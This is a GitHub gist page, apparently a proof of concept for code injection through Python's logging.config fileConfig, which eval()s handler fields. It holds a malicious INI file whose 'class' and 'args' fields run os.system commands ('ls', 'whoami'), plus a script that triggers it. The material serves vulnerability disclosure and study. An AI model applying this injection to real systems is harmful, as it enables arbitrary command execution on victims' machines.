Skip to content

Instantly share code, notes, and snippets.

@dhondta
Last active June 9, 2025 07:57
Show Gist options
  • Save dhondta/e57cf56cd41fb1f90ad3b7d27e1edfb1 to your computer and use it in GitHub Desktop.
Save dhondta/e57cf56cd41fb1f90ad3b7d27e1edfb1 to your computer and use it in GitHub Desktop.
Proof-of-Concept for logging Python code injection

ACE in Python's logging Native Module

Description

While loading a configuration file, logging/config.py's handler parsing function calls eval() twice on unsanitized variables coming from the configuration file, therefore allowing an attacker to execute arbitrary code.

References

[loggers]
keys=root
[handlers]
keys=stream_handler
[formatters]
keys=formatter
[logger_root]
level=DEBUG
handlers=stream_handler
[handler_stream_handler]
class=__import__('os').system('ls') or StreamHandler
level=DEBUG
formatter=formatter
args=(__import__('os').system('whoami') or sys.stderr, )
[formatter_formatter]
format=%(name)-12s %(levelname)-8s %(message)s
from logging.config import fileConfig
# trigger the vulnerability
fileConfig("evil-config.ini")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment